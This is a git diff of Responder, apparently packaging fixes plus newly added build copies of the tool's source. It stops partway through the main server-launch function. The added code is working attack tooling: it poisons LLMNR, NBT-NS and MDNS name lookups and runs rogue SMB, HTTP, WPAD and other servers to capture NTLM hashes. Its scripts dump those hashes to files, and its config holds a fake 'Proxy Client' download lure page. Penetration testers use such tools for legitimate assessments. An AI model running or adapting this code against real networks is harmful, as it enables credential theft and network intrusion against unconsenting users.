diff --git a/MANIFEST.in b/MANIFEST.in
index 8c373e7..273a6e0 100644
--- a/MANIFEST.in
+++ b/MANIFEST.in
@@ -5,3 +5,6 @@ include README.md
include OSX_launcher
include Responder/Responder.conf
+include Responder/certs/*
+include Responder/files/*
+include Responder/logs/*
diff --git a/Responder/Responder.py b/Responder/Responder.py
index cbfdefd..3cf68b3 100755
--- a/Responder/Responder.py
+++ b/Responder/Responder.py
@@ -274,7 +274,6 @@ def serve_thread_tcp_auth(host, port, handler):
def serve_thread_SSL(host, port, handler):
try:
-
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
diff --git a/Responder/certs/gen-self-signed-cert.sh b/Responder/certs/gen-self-signed-cert.sh
index 725323c..b5a18a9 100755
--- a/Responder/certs/gen-self-signed-cert.sh
+++ b/Responder/certs/gen-self-signed-cert.sh
@@ -1,3 +1,4 @@
#!/bin/bash
-openssl genrsa -out certs/responder.key 2048
-openssl req -new -x509 -days 3650 -key certs/responder.key -out certs/responder.crt -subj "/"
+CERT_PATH=$1
+openssl genrsa -out "$CERT_PATH/certs/responder.key" 2048
+openssl req -new -x509 -days 3650 -key "$CERT_PATH/certs/responder.key" -out "$CERT_PATH/certs/responder.crt" -subj "/"
diff --git a/Responder/settings.py b/Responder/settings.py
index 2307aba..6e3a24b 100644
--- a/Responder/settings.py
+++ b/Responder/settings.py
@@ -30,7 +30,6 @@ class Settings:
def __init__(self):
self.ResponderPATH = os.path.dirname(__file__)
- print(f"RESPONDER PAHT = {self.ResponderPATH}")
self.Bind_To = '0.0.0.0'
def __str__(self):
@@ -347,7 +346,8 @@ class Settings:
pass
else:
#If it's the first time, generate SSL certs for this Responder session and send openssl output to /dev/null
- Certs = os.system(self.ResponderPATH+"/certs/gen-self-signed-cert.sh >/dev/null 2>&1")
+ # Certs = os.system(self.ResponderPATH+"/certs/gen-self-signed-cert.sh >/dev/null 2>&1")
+ Certs = os.system(f"{self.ResponderPATH}/certs/gen-self-signed-cert.sh {self.ResponderPATH} >/dev/null 2>&1")
try:
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
diff --git a/build/lib/Responder/DumpHash.py b/build/lib/Responder/DumpHash.py
new file mode 100644
index 0000000..daf0382
--- /dev/null
+++ b/build/lib/Responder/DumpHash.py
@@ -0,0 +1,55 @@
+#!/usr/bin/env python3
+# This file is part of Responder, a network take-over set of tools
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import sqlite3
+
+def DumpHashToFile(outfile, data):
+ with open(outfile,"w") as dump:
+ dump.write(data)
+
+def DbConnect():
+ cursor = sqlite3.connect("./Responder.db")
+ return cursor
+
+def GetResponderCompleteNTLMv2Hash(cursor):
+ res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
+ Output = ""
+ for row in res.fetchall():
+ if "$" in row[0]:
+ pass
+ else:
+ Output += '{0}'.format(row[0])+'\n'
+ return Output
+
+def GetResponderCompleteNTLMv1Hash(cursor):
+ res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
+ Output = ""
+ for row in res.fetchall():
+ if "$" in row[0]:
+ pass
+ else:
+ Output += '{0}'.format(row[0])+'\n'
+ return Output
+
+cursor = DbConnect()
+print("Dumping NTLMV2 hashes:")
+v2 = GetResponderCompleteNTLMv2Hash(cursor)
+DumpHashToFile("DumpNTLMv2.txt", v2)
+print(v2)
+print("\nDumping NTLMv1 hashes:")
+v1 = GetResponderCompleteNTLMv1Hash(cursor)
+DumpHashToFile("DumpNTLMv1.txt", v1)
+print(v1)
diff --git a/build/lib/Responder/Report.py b/build/lib/Responder/Report.py
new file mode 100644
index 0000000..ff09e16
--- /dev/null
+++ b/build/lib/Responder/Report.py
@@ -0,0 +1,127 @@
+#!/usr/bin/env python3
+# This file is part of Responder, a network take-over set of tools
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import sqlite3
+import os
+
+def color(txt, code = 1, modifier = 0):
+ if txt.startswith('[*]'):
+ settings.Config.PoisonersLogger.warning(txt)
+ elif 'Analyze' in txt:
+ settings.Config.AnalyzeLogger.warning(txt)
+
+ if os.name == 'nt': # No colors for windows...
+ return txt
+ return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
+
+def DbConnect():
+ cursor = sqlite3.connect("./Responder.db")
+ return cursor
+
+def FingerDbConnect():
+ cursor = sqlite3.connect("./tools/RunFinger.db")
+ return cursor
+
+def GetResponderData(cursor):
+ res = cursor.execute("SELECT * FROM Responder")
+ for row in res.fetchall():
+ print('{0} : {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}'.format(row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8]))
+
+def GetResponderUsernamesStatistic(cursor):
+ res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
+ for row in res.fetchall():
+ print(color('\n[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
+
+def GetResponderUsernames(cursor):
+ res = cursor.execute("SELECT DISTINCT user FROM Responder")
+ for row in res.fetchall():
+ print('User account: {0}'.format(row[0]))
+
+def GetResponderUsernamesWithDetails(cursor):
+ res = cursor.execute("SELECT client, user, module, type, cleartext FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder) ORDER BY client")
+ for row in res.fetchall():
+ print('IP: {0} module: {1}:{3}\nuser account: {2}'.format(row[0], row[2], row[1], row[3]))
+
+
+def GetResponderCompleteHash(cursor):
+ res = cursor.execute("SELECT fullhash FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
+ for row in res.fetchall():
+ print('{0}'.format(row[0]))
+
+def GetUniqueLookupsIP(cursor):
+ res = cursor.execute("SELECT Poisoner, SentToIp FROM Poisoned WHERE Poisoner in (SELECT DISTINCT UPPER(Poisoner) FROM Poisoned)")
+ for row in res.fetchall():
+ if 'fe80::' in row[1]:
+ pass
+ else:
+ print('Protocol: {0}, IP: {1}'.format(row[0], row[1]))
+
+def GetUniqueLookups(cursor):
+ res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
+ for row in res.fetchall():
+ print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
+
+def GetUniqueDHCP(cursor):
+ res = cursor.execute("SELECT * FROM DHCP WHERE MAC in (SELECT DISTINCT UPPER(MAC) FROM DHCP)")
+ for row in res.fetchall():
+ print('MAC: {0}, IP: {1}, RequestedIP: {2}'.format(row[1], row[2], row[3]))
+
+def GetRunFinger(cursor):
+ res = cursor.execute("SELECT * FROM RunFinger WHERE Host in (SELECT DISTINCT Host FROM RunFinger)")
+ for row in res.fetchall():
+ print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9], row[10], row[11])))
+
+def GetStatisticUniqueLookups(cursor):
+ res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
+ for row in res.fetchall():
+ print(color('\n[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
+
+
+def SavePoisonersToDb(result):
+
+ for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode']:
+ if not k in result:
+ result[k] = ''
+
+def SaveToDb(result):
+
+ for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
+ if not k in result:
+ result[k] = ''
+
+cursor = DbConnect()
+print(color("[+] Generating report...\n", code = 3, modifier = 1))
+
+print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1))
+GetUniqueDHCP(cursor)
+print(color("\n[+] Unique IP using legacy protocols:", code = 2, modifier = 1))
+GetUniqueLookupsIP(cursor)
+print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
+GetUniqueLookups(cursor)
+GetStatisticUniqueLookups(cursor)
+print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1))
+GetResponderUsernames(cursor)
+print(color("\n[+] Username details:", code = 2, modifier = 1))
+GetResponderUsernamesWithDetails(cursor)
+GetResponderUsernamesStatistic(cursor)
+print (color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1))
+cursor.close()
+try:
+ cursor = FingerDbConnect()
+ GetRunFinger(cursor)
+except:
+ pass
+print('\n')
diff --git a/build/lib/Responder/Responder.conf b/build/lib/Responder/Responder.conf
new file mode 100755
index 0000000..180e94f
--- /dev/null
+++ b/build/lib/Responder/Responder.conf
@@ -0,0 +1,111 @@
+[Responder Core]
+
+; Poisoners to start
+MDNS = On
+LLMNR = On
+NBTNS = On
+
+; Servers to start
+SQL = On
+SMB = On
+RDP = On
+Kerberos = On
+FTP = On
+POP = On
+SMTP = On
+IMAP = On
+HTTP = On
+HTTPS = On
+DNS = On
+LDAP = On
+DCERPC = On
+WINRM = On
+SNMP = Off
+MQTT = On
+
+; Custom challenge.
+; Use "Random" for generating a random challenge for each requests (Default)
+Challenge = Random
+
+; SQLite Database file
+; Delete this file to re-capture previously captured hashes
+Database = Responder.db
+
+; Default log file
+SessionLog = Responder-Session.log
+
+; Poisoners log
+PoisonersLog = Poisoners-Session.log
+
+; Analyze mode log
+AnalyzeLog = Analyzer-Session.log
+
+; Dump Responder Config log:
+ResponderConfigDump = Config-Responder.log
+
+; Specific IP Addresses to respond to (default = All)
+; Example: RespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334
+RespondTo =
+
+; Specific NBT-NS/LLMNR names to respond to (default = All)
+; Example: RespondTo = WPAD, DEV, PROD, SQLINT
+;RespondToName = WPAD, DEV, PROD, SQLINT
+RespondToName =
+
+; Specific IP Addresses not to respond to (default = None)
+; Hosts with IPv4 and IPv6 addresses must have both addresses included to prevent responding.
+; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334
+DontRespondTo =
+
+; Specific NBT-NS/LLMNR names not to respond to (default = None)
+; Example: DontRespondTo = NAC, IPS, IDS
+DontRespondToName = ISATAP
+
+; If set to On, we will stop answering further requests from a host
+; if a hash has been previously captured for this host.
+AutoIgnoreAfterSuccess = Off
+
+; If set to On, we will send ACCOUNT_DISABLED when the client tries
+; to authenticate for the first time to try to get different credentials.
+; This may break file serving and is useful only for hash capture
+CaptureMultipleCredentials = On
+
+; If set to On, we will write to file all hashes captured from the same host.
+; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
+; domain\popo, domain\zozo. Recommended value: On, capture everything.
+CaptureMultipleHashFromSameHost = On
+
+[HTTP Server]
+
+; Set to On to always serve the custom EXE
+Serve-Always = Off
+
+; Set to On to replace any requested .exe with the custom EXE
+Serve-Exe = Off
+
+; Set to On to serve the custom HTML if the URL does not contain .exe
+; Set to Off to inject the 'HTMLToInject' in web pages instead
+Serve-Html = Off
+
+; Custom HTML to serve
+HtmlFilename = files/AccessDenied.html
+
+; Custom EXE File to serve
+ExeFilename = ;files/filetoserve.exe
+
+; Name of the downloaded .exe that the client will see
+ExeDownloadName = ProxyClient.exe
+
+; Custom WPAD Script
+; Only set one if you really know what you're doing. Responder is taking care of that and inject the right one, with your current IP address.
+WPADScript =
+
+; HTML answer to inject in HTTP responses (before
+
+
+
New Security Policy: Website Blocked
+
+
+
+
- Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
+
+
+
+
+
+
tag).
+; leave empty if you want to use the default one (redirect to SMB on your IP address).
+HTMLToInject =
+
+[HTTPS Server]
+
+; Configure SSL Certificates to use
+SSLCert = certs/responder.crt
+SSLKey = certs/responder.key
diff --git a/build/lib/Responder/Responder.py b/build/lib/Responder/Responder.py
new file mode 100644
index 0000000..3cf68b3
--- /dev/null
+++ b/build/lib/Responder/Responder.py
@@ -0,0 +1,430 @@
+#!/usr/bin/env python3
+# This file is part of Responder, a network take-over set of tools
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import optparse
+import ssl
+try:
+ from SocketServer import TCPServer, UDPServer, ThreadingMixIn
+except:
+ from socketserver import TCPServer, UDPServer, ThreadingMixIn
+from threading import Thread
+from Responder.utils import *
+import struct
+import Responder.settings as settings
+banner()
+
+parser = optparse.OptionParser(usage='python %prog -I eth0 -w -d\nor:\npython %prog -I eth0 -wd', version=settings.__version__, prog=sys.argv[0])
+parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
+parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
+parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
+parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
+parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
+parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
+parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
+parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
+
+parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
+parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
+parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
+
+parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False)
+parser.add_option('-Q','--quiet', action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False)
+
+parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
+parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
+parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
+parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
+options, args = parser.parse_args()
+
+if not os.geteuid() == 0:
+ print(color("[!] Responder must be run as root."))
+ sys.exit(-1)
+elif options.OURIP == None and IsOsX() == True:
+ print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n")
+ parser.print_help()
+ exit(-1)
+
+elif options.ProxyAuth_On_Off and options.WPAD_On_Off:
+ print("\n\033[1m\033[31mYou cannot use WPAD server and Proxy_Auth server at the same time, choose one of them.\033[0m\n")
+ exit(-1)
+
+settings.init()
+settings.Config.populate(options)
+
+StartupMessage()
+
+settings.Config.ExpandIPRanges()
+
+#Create the DB, before we start Responder.
+CreateResponderDb()
+
+Have_IPv6 = settings.Config.IPv6
+
+class ThreadingUDPServer(ThreadingMixIn, UDPServer):
+ def server_bind(self):
+ if OsInterfaceIsSupported():
+ try:
+ if settings.Config.Bind_To_ALL:
+ pass
+ else:
+ if (sys.version_info > (3, 0)):
+ self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
+ if Have_IPv6:
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
+ else:
+ self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
+ if Have_IPv6:
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
+ except:
+ pass
+ UDPServer.server_bind(self)
+
+class ThreadingTCPServer(ThreadingMixIn, TCPServer):
+ def server_bind(self):
+ if OsInterfaceIsSupported():
+ try:
+ if settings.Config.Bind_To_ALL:
+ pass
+ else:
+ if (sys.version_info > (3, 0)):
+ self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
+ if Have_IPv6:
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
+ else:
+ self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
+ if Have_IPv6:
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
+ except:
+ pass
+ TCPServer.server_bind(self)
+
+class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
+ def server_bind(self):
+ if OsInterfaceIsSupported():
+ try:
+ if settings.Config.Bind_To_ALL:
+ pass
+ else:
+ if (sys.version_info > (3, 0)):
+ self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
+ if Have_IPv6:
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
+ else:
+ self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
+ if Have_IPv6:
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
+ except:
+ pass
+ self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
+ TCPServer.server_bind(self)
+
+class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
+ def server_bind(self):
+ MADDR = "224.0.0.251"
+ MADDR6 = 'ff02::fb'
+ self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
+ self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
+ Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
+
+ #IPV6:
+ if (sys.version_info > (3, 0)):
+ if Have_IPv6:
+ mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
+ else:
+ if Have_IPv6:
+ mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
+ if OsInterfaceIsSupported():
+ try:
+ if settings.Config.Bind_To_ALL:
+ pass
+ else:
+ if (sys.version_info > (3, 0)):
+ self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
+ if Have_IPv6:
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
+ else:
+ self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
+ if Have_IPv6:
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
+ except:
+ pass
+ UDPServer.server_bind(self)
+
+class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
+ def server_bind(self):
+ MADDR = '224.0.0.252'
+ MADDR6 = 'FF02:0:0:0:0:0:1:3'
+ self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
+ self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
+ Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
+
+ #IPV6:
+ if Have_IPv6:
+ mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
+ if OsInterfaceIsSupported():
+ try:
+ if settings.Config.Bind_To_ALL:
+ pass
+ else:
+ if (sys.version_info > (3, 0)):
+ self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
+ if Have_IPv6:
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
+ else:
+ self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
+ if Have_IPv6:
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
+ except:
+ pass
+ UDPServer.server_bind(self)
+
+
+ThreadingUDPServer.allow_reuse_address = 1
+if Have_IPv6:
+ ThreadingUDPServer.address_family = socket.AF_INET6
+
+ThreadingTCPServer.allow_reuse_address = 1
+if Have_IPv6:
+ ThreadingTCPServer.address_family = socket.AF_INET6
+
+ThreadingUDPMDNSServer.allow_reuse_address = 1
+if Have_IPv6:
+ ThreadingUDPMDNSServer.address_family = socket.AF_INET6
+
+ThreadingUDPLLMNRServer.allow_reuse_address = 1
+if Have_IPv6:
+ ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
+
+ThreadingTCPServerAuth.allow_reuse_address = 1
+if Have_IPv6:
+ ThreadingTCPServerAuth.address_family = socket.AF_INET6
+
+def serve_thread_udp_broadcast(host, port, handler):
+ try:
+ server = ThreadingUDPServer(('', port), handler)
+ server.serve_forever()
+ except:
+ print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
+
+def serve_NBTNS_poisoner(host, port, handler):
+ serve_thread_udp_broadcast('', port, handler)
+
+def serve_MDNS_poisoner(host, port, handler):
+ try:
+ server = ThreadingUDPMDNSServer(('', port), handler)
+ server.serve_forever()
+ except:
+ print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
+
+def serve_LLMNR_poisoner(host, port, handler):
+ try:
+ server = ThreadingUDPLLMNRServer(('', port), handler)
+ server.serve_forever()
+ except:
+ print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
+
+def serve_thread_udp(host, port, handler):
+ try:
+ if OsInterfaceIsSupported():
+ server = ThreadingUDPServer(('', port), handler)
+ server.serve_forever()
+ else:
+ server = ThreadingUDPServer(('', port), handler)
+ server.serve_forever()
+ except:
+ print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
+
+def serve_thread_tcp(host, port, handler):
+ try:
+ if OsInterfaceIsSupported():
+ server = ThreadingTCPServer(('', port), handler)
+ server.serve_forever()
+ else:
+ server = ThreadingTCPServer(('', port), handler)
+ server.serve_forever()
+ except:
+ print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
+
+def serve_thread_tcp_auth(host, port, handler):
+ try:
+ if OsInterfaceIsSupported():
+ server = ThreadingTCPServerAuth(('', port), handler)
+ server.serve_forever()
+ else:
+ server = ThreadingTCPServerAuth(('', port), handler)
+ server.serve_forever()
+ except:
+ print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
+
+def serve_thread_SSL(host, port, handler):
+ try:
+ cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
+ key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
+ context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
+ context.load_cert_chain(cert, key)
+ if OsInterfaceIsSupported():
+ server = ThreadingTCPServer(('', port), handler)
+ server.socket = context.wrap_socket(server.socket, server_side=True)
+ server.serve_forever()
+ else:
+ server = ThreadingTCPServer(('', port), handler)
+ server.socket = context.wrap_socket(server.socket, server_side=True)
+ server.serve_forever()
+ except:
+ print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.")
+
+
+def main():
+ try:
+ if (sys.version_info < (3, 0)):
+ print(color('\n\n[-]', 3, 1) + " Still using python 2? :(")
+ print(color('\n[+]', 2, 1) + " Listening for events...\n")
+
+ threads = []
+
+ # Load (M)DNS, NBNS and LLMNR Poisoners
+ if settings.Config.LLMNR_On_Off:
+ from Responder.poisoners.LLMNR import LLMNR
+ threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
+
+ if settings.Config.NBTNS_On_Off:
+ from Responder.poisoners.NBTNS import NBTNS
+ threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
+
+ if settings.Config.MDNS_On_Off:
+ from Responder.poisoners.MDNS import MDNS
+ threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
+
+ #// Vintage Responder BOWSER module, now disabled by default.
+ #// Generate to much noise & easily detectable on the network when in analyze mode.
+ # Load Browser Listener
+ #from Responder.servers.Browser import Browser
+ #threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
+
+ if settings.Config.HTTP_On_Off:
+ from Responder.servers.HTTP import HTTP
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 80, HTTP,)))
+
+ if settings.Config.WinRM_On_Off:
+ from Responder.servers.WinRM import WinRM
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 5985, WinRM,)))
+
+ if settings.Config.WinRM_On_Off:
+ from Responder.servers.WinRM import WinRM
+ threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 5986, WinRM,)))
+
+ if settings.Config.SSL_On_Off:
+ from Responder.servers.HTTP import HTTP
+ threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 443, HTTP,)))
+
+ if settings.Config.RDP_On_Off:
+ from Responder.servers.RDP import RDP
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3389, RDP,)))
+
+ if settings.Config.DCERPC_On_Off:
+ from Responder.servers.RPC import RPCMap, RPCMapper
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 135, RPCMap,)))
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, settings.Config.RPCPort, RPCMapper,)))
+
+ if settings.Config.WPAD_On_Off:
+ from Responder.servers.HTTP_Proxy import HTTP_Proxy
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3128, HTTP_Proxy,)))
+
+ if settings.Config.ProxyAuth_On_Off:
+ from Responder.servers.Proxy_Auth import Proxy_Auth
+ threads.append(Thread(target=serve_thread_tcp_auth, args=(settings.Config.Bind_To, 3128, Proxy_Auth,)))
+
+ if settings.Config.SMB_On_Off:
+ if settings.Config.LM_On_Off:
+ from Responder.servers.SMB import SMB1LM
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1LM,)))
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1LM,)))
+ else:
+ from Responder.servers.SMB import SMB1
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,)))
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,)))
+
+ if settings.Config.Krb_On_Off:
+ from Responder.servers.Kerberos import KerbTCP, KerbUDP
+ threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
+ threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 88, KerbTCP,)))
+
+ if settings.Config.SQL_On_Off:
+ from Responder.servers.MSSQL import MSSQL, MSSQLBrowser
